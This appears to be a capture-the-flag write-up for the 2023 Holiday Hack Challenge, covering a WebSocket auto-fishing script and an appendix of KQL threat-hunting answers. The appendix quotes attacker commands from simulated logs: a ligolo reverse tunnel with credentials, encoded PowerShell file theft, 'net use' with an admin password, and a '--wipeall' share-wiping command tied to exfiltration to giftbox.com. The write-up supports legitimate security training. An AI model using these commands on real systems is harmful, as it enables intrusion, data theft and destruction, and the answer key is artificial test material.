Catch twenty different species of fish that live around Geese Islands. When you’re done, report your findings to Poinsettia McMittens on the Island of Misfit Toys.
Objective 24
BONUS! Fishing Mastery
Catch at least one of each species of fish that live around Geese islands. When you’re done, report your findings to Poinsettia McMittens.
We start by re-using the information already discovered in Fishing Guide:
These will come in handy for finding elusive fish species
Using overlays/masks as fishing treasure maps
We used GIMP to photoshop the map of the islands and the heat maps.
First we extract the map of the Islands and collect the image info:
Example: Piscis Cyberneticus Skodo
From the image sizes you can see we have a slight difference in size.
So we will scale up this image to 512x512, and past it as a layer on the world map image:
Menu -> Image -> Scale Image
Copy this image, and paste as a new layer onto our world map (above)
And use colour to alpha to make the black transparent so we can see the map underneath, together with a bright spot indicating where to fish:
Menu -> Colour -> Colour to alpha
Example 2: The speckled Whisker-Spoon Puffer
Using the same method above, and tweaking the transparency and opacity thresholds, helps indicate where we want to fish:
Using JS Console to extract data
Using Javascript in the developer console to extract names, and number of unique fish species form the heatmaps URL page
Firefox JS to print number of fish:
var h3Tags = document.querySelectorAll('h3');
var h3Count = h3Tags.length;
console.log('Number of fish:', h3Count);
Number of Fish: 171
Firefox JS to extract and print all fish names:
var h3Tags = document.querySelectorAll('h3');
h3Tags.forEach(function(h3, index) {
console.log(h3.textContent.trim());
});
Creating the Auto Fisher
Websocket Address
- wss://2023.holidayhackchallenge.com/sail
chatGPT to write some code
User prompt>
ok, i need some websocket code... the websocket is called websocket, it can send two messages: cast and reel. the idea is fishing game, cast, casts off, you then await a repsonse, when the json recieves onTheLine="some fish name" not false, we then send the message reel to capture the phish.
the message recieve is e:{"uid":{json response} please factor this into your code
ChatGPT response >
Certainly! Below is a simple JavaScript code snippet using the WebSocket API to implement the fishing game logic you described. It includes handling the 'cast' and 'reel' messages and checking the response for the 'onTheLine' condition:
const WebSocket = require('ws'); // Assuming Node.js environment for WebSocket
const socket = new WebSocket('your_websocket_url'); // Replace with your WebSocket URL
socket.addEventListener('open', () => {
console.log('WebSocket connection established.');
// Send the 'cast' action to start fishing
socket.send('cast');
});
socket.addEventListener('message', (event) => {
if (event.data.startsWith('e:')) {
const jsonData = JSON.parse(event.data.slice(2));
const uid = Object.keys(jsonData)[0]; // Assuming there's a unique identifier (uid) in the JSON
try {
if (jsonData[uid] && jsonData[uid]['onTheLine'] && jsonData[uid]['onTheLine'] !== false) {
const fishName = jsonData[uid]['onTheLine'];
console.log(`Caught a ${fishName}!`);
// Send the 'reel' action to capture the fish
socket.send('reel');
}
} catch (error) {
console.error('Error processing WebSocket message:', error);
}
}
});
socket.addEventListener('close', (event) => {
console.log('WebSocket connection closed:', event.code, event.reason);
});
// Handle errors
socket.addEventListener('error', (error) => {
console.error('WebSocket encountered an error:', error);
});
After a little human creativity amending the code we can use this smaller code, thats hardcoded to our UserId (UID) and login name:
socket.addEventListener("message", (event) => {
if (event.data.startsWith("e:")) {
const jsonData = JSON.parse(event.data.slice(2));
try{
if ((jsonData['8141'] && jsonData['8141']['username'] === 'cryptocracker99') && jsonData['8141']['onTheLine']){
console.log("caught a "+ jsonData['8141']['onTheLine'])
console.log(jsonData['8141']['fishCaught'].length + "/171");
socket.send('reel');
}
if (jsonData['8141'] && !jsonData['8141']['fishing']){
socket.send('cast');
}
} catch(error){
// deal with errors here if we get stuck
}
}
});
socket.send('cast');
And watch the fish roll in!
We even managed to catch this rare specimen…
Appendix
KQL
Onboarding
| summarize TotalScore = sum(Score)
Answer:
- 112
SANS
Onboarding - How many Craftperson Elf’s are working from laptops?
Employees
| where tolower(hostname) contains "laptop" and role contains "Craftsperson Elf"
| summarize LaptopCount = count(hostname)
Answers:
- 25
Case 1 Welcome to Operation Giftwrap: Defending the Geese Island network
- What is the email address of the employee who received this phishing email?
- What is the email address that was used to send this spear phishing email?
- What was the subject line used in the spear phishing email?
Email
| where link contains "http://madelvesnorthpole.org/published/search/MonthlyInvoiceForReindeerFood.docx"
| project recipient, sender, subject
Answers:
- alabaster_snowball@santaworkshopgeeseislands.org
- cwombley@gmail.com
- [EXTERNAL] Invoice foir reindeer food past due
Case 2 Someone got phished! Let’s dig deeper on the victim…
- What is the role of our victim in the organization?
- What is the hostname of the victim’s machine?
- What is the source IP linked to the victim?
Employees
| where email_addr == "alabaster_snowball@santaworkshopgeeseislands.org"
| project role, hostname, ip_addr
Answers:
- Head Elf
- Y1US-DESKTOP
- 10.10.0.4
Case 3 That’s not good. What happened next?
- What time did Alabaster click on the malicious link?
- What file is dropped to Alabaster’s machine shortly after he downloads the malicious file?
FileCreationEvents
| where hostname contains "Y1US-DESKTOP" and filename == "MonthlyInvoiceForReindeerFood.docx"
| project timestamp, sha256
- time = 2023-12-02T10:13:35Z
OutboundNetworkEvents
| where timestamp >= datetime("2023-12-02T10:12:35Z") and src_ip == "10.10.0.4"
|order by timestamp asc
2023-12-02T10:12:42
and
FileCreationEvents
| where hostname contains "Y1US-DESKTOP" and timestamp > datetime("2023-12-02T10:13:35Z")
- gitwrap.exe (2023-12-02T10:14:21)
Case 4 A compromised host! Time for a deep dive.
- The attacker created an reverse tunnel connection with the compromised machine. What IP was the connection forwarded to?
- What is the timestamp when the attackers enumerated network shares on the machine?
- What was the hostname of the system the attacker moved laterally to?
ProcessEvents
| where timestamp > datetime("2023-12-02T10:13:35Z") and username=="alsnowball"
|order by timestamp asc
Important rows:
2023-12-02T11:11:29
"ligolo" --bind 0.0.0.0:1251 --forward 127.0.0.1:3389 --to 113.37.9.17:22 --username rednose --password falalalala --no-antispoof
2023-12-02T16:51:44 net share command
- 113.37.9.17
- 2023-12-02T16:51:44
ProcessEvents
| where timestamp > datetime("2023-12-02T11:11:29Z") and hostname=="Y1US-DESKTOP" and process_commandline contains "owershell"
|order by timestamp asc
Important rows:
2023-12-24T16:07:47
C:\Windows\System32\powershell.exe -Nop -ExecutionPolicy bypass -enc KCAndHh0LnRzaUxlY2lOeXRoZ3VhTlxwb3Rrc2VEXDpDIHR4dC50c2lMZWNpTnl0aGd1YU5cbGFjaXRpckNub2lzc2lNXCRjXGVyYWhzZWxpZmVsb1BodHJvTlxcIG1ldEkteXBvQyBjLSBleGUubGxlaHNyZXdvcCcgLXNwbGl0ICcnIHwgJXskX1swXX0pIC1qb2luICcn
powershell.exe -c Copy-Item \\NorthPolefileshare\c$\MissionCritical\NaughtyNiceList.txt C:\Desktop\NaughtyNiceList.txt' (
Base64 decode then… Use to convert charcode to more powershell Decimal-2-ASCII or Cyber Chef
Or even ask chatGPT to decode it.
2023-12-24T15:14:25
cmd.exe /C net use \\NorthPolefileshare\c$ /user:admin AdminPass123
- NorthPolefileshare
Case 5 A hidden message
- When was the attacker’s first base64 encoded PowerShell command executed on Alabaster’s machine?
- What was the name of the file the attacker copied from the fileshare? (This might require some additional decoding)
- The attacker has likely exfiltrated data from the file share. What domain name was the data exfiltrated to?
Answers:
- 2023-12-24T16:07:47Z
- NaughtyNiceList.txt
- giftbox.com
Case 6 The final step!
- What is the name of the executable the attackers used in the final malicious command?
- What was the command line flag used alongside this executable?
From above:
- 2023-12-24T16:58:43 (decimal to ascii attack )
- NaughtNiceList.docx (downwithsanta.exe -exfil C:\Desktop\NaughtNiceList.docx \giftbox.com\file)
- giftbox.com
C:\Windows\System32\powershell.exe -Nop -ExecutionPolicy bypass -enc QzpcV2luZG93c1xTeXN0ZW0zMlxkb3dud2l0aHNhbnRhLmV4ZSAtLXdpcGVhbGwgXFxcXE5vcnRoUG9sZWZpbGVzaGFyZVxcYyQ=
decoded:
C:\Windows\System32\downwithsanta.exe --wipeall \\\\NorthPolefileshare\\c$
Answers:
- downwithsanta.exe
- –wipeall
Share on: